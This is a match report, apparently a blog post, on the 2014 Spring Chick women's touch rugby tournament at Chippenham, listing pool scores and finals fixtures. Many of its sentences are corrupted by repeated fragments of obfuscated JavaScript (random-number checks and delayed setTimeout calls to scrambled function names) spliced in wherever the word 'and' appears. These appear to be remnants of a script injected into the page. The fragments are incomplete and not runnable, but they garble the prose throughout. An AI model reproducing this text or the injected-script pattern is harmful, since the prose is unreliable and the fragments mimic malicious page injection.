Spring Chick women’s touch rugby tournament

March 29, 2014 in Audio, Chippenham, South West, Touch Rugby

What better way to usher in spring than to run around a field with your mates in the sunshine. The Spring Chick touch rugby tournament is the largest women’s only event in the UK, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Chippenham RFC was the venue for this well organised competition.

Thirteen teams had amassed from around the British Isles in a bid to grab the inaugural Spring Chick title. Teams were divided into three pools, with the action happening on three pitches. There was a generous sprinkling of international talent, right next to teams who were trying out the touch rugby code for the first time.

Cambridge ‘She who dares trys’ were one of the fancied teams to do well alongside the Mixers, who were comprised of internationals andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and experienced players from the South East.

Spring Chick organiser, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and No Balls Allowed player Jen Palmer

Play started promptly at 10am. The opening three games featured Kingswood Ladies RFC v Mixers, Chippenham-Bath Cheetahs v Oxford Ladies andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Chargers Chicks v Thames Valley Vixens. The outcome of the pool games would determine who would advance to the finals.

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Kingswood Ladies RFC 0 – Mixers 7
It was clear to see that Kingswood were having a day off from full 15s rugby, but this did not dampen their enthusiasm for the challenge. Getting to grips with some of the rules andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and strategy during competition is tough at the best of times, even harder when faced with potentially one of the best sides of the day.

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Chippenham-Bath Cheetahs 0 – Oxford Ladies 3
Chippenham RFC is one of the O2 touch centres that are dotted around the country in a bid to increase participation in the sport. That didn’t seem to help the local side against the well organised Oxford team.

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Chargers Chicks 1 – Thames Valley Vixens 0
This nip andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and tuck match up demonstrated how important good defence is in the game of touch, the Chargers doing just enough to steal the win.

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Rest of the pool fixture results

10:20 fixtures
Wigan Warriors 1 – Cambridge 3
CSSC Sirens 1 – No Balls Allowed Bristol 3
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Hoods 1 – Dublin Divas 1

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10:40 fixtures
Mixers 7 – Purple Cobras 0

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11:00 fixtures
Kingswood Ladies 0 – Cambridge 6

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CSSC Siren 3 – Oxford Ladies 1

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Hoods 0 – Thames Valley Vixens 1

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11:20 fixtures
Wigan Warriors 1 – Purple Cobras 0
Chippenham-Bath Cheetahs 0 – No Balls Allowed Bristol 4

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Chargers Chicks 7 – Dublin Divas 0

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11:40 fixtures
Wigan Warriors 3 – Kingswood Ladies RFC 0

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12:00 fixtures
Mixers 2 – Cambridge 1
Chippenham-Bath Cheetahs 1 – CSSC Sirens 5

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12:20 fixtures
Kingswood Ladies RFC 0 – Purple Cobras 5
No Balls Allowed Bristol 3 – Oxford Ladies 0

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Chargers Chicks 3 – Hoods 0

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12:40 fixtures
Wigan Warriors 0 – Mixers 4
Purple Cobras 1 – Cambridge 1

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Dublin Divas 0 – Thames Valley Vixens 5

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The results of the pool games meant the finals looked like this:

Cup

Quarter Final 1
Thames Valley Vixens – CSSC Sirens

Quarter Final 2
No Balls Allowed Bristol – Cambridge

Quarter Final 3
Mixers – Oxford

Quarter Final 4
Chargers Chicks – Wigan Warriors

Bowl

Bowl prelim semi-final 1
Chippenham-Bath Cheetahs – Dublin Divas

Bowl prelim semi-final 2
Dublin Divas – Kingswood Ladied RFC

After the pool matches were in the books an exhibition match took place between the Women’s Englandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Open squad andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Women’s Englandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Over 27’s.

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The W27s got in a score early, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and gave the Open squad something to think about.

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They were not to be out done, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and returned the favour right at the death.

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Those new to the game of touch rugby got to enjoy a showcase from some of the top players in the area, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and were hopefully inspired to keep playing the game. Women’s Englandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Open squad 1 – Women’s Englandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Over 27’s 1.

Now it was time to get down to the business of the finals.

Quarter Final 1
Thames Valley Vixens 5 – CSSC Sirens 0
The Vixens continued on their winning ways after their opening game defeat. The team were now clicking, putting away a convincing win over the Sirens.

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Quarter Final 2
No Balls Allowed Bristol 3 – Cambridge 0
The Bristol team had not dropped any games coming into this quarter final, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and were keen not to break that run. Cambridge were unable to put one past their opposition, highlighting the effective defence they were pitted against.

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Quarter Final 3
Mixers 4 – Oxford 1
As one of the early favourites the Mixers quarter final game went with form.
Oxford gave it their all, but again came up short.

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Quarter Final 4
Chargers Chicks 5 – Wigan Warriors 0
The Chargers also had a perfect record before the whistle blew to start quarter final 4, while the Warriors had won andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and lost an equal amount of games. The Northern team brought heart to the fight, but were outclassed by the team from Manchester.

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The unsuccessful teams from the Cup quarter finals had the opportunity to battle it out for the Plate.

Plate semi-final 1
CSSC Sirens 1 – Cambridge 2

Plate semi-final 2
Oxford 4 – Wigan 1

Bowl

Bowl prelim semi-final 1
Chippenham-Bath Cheetahs 2 – Dublin Divas 1
Fourth in pool B took on fourth in pool C. Each team knew they had to make every attack count, but the Cheetahs finished the game having registered the vital deciding try.

Bowl prelim semi-final 2
Dublin Divas 10 – Kingswood Ladies RFC 0
The losers from prelim semi final 1 took on the fifth place pool A team

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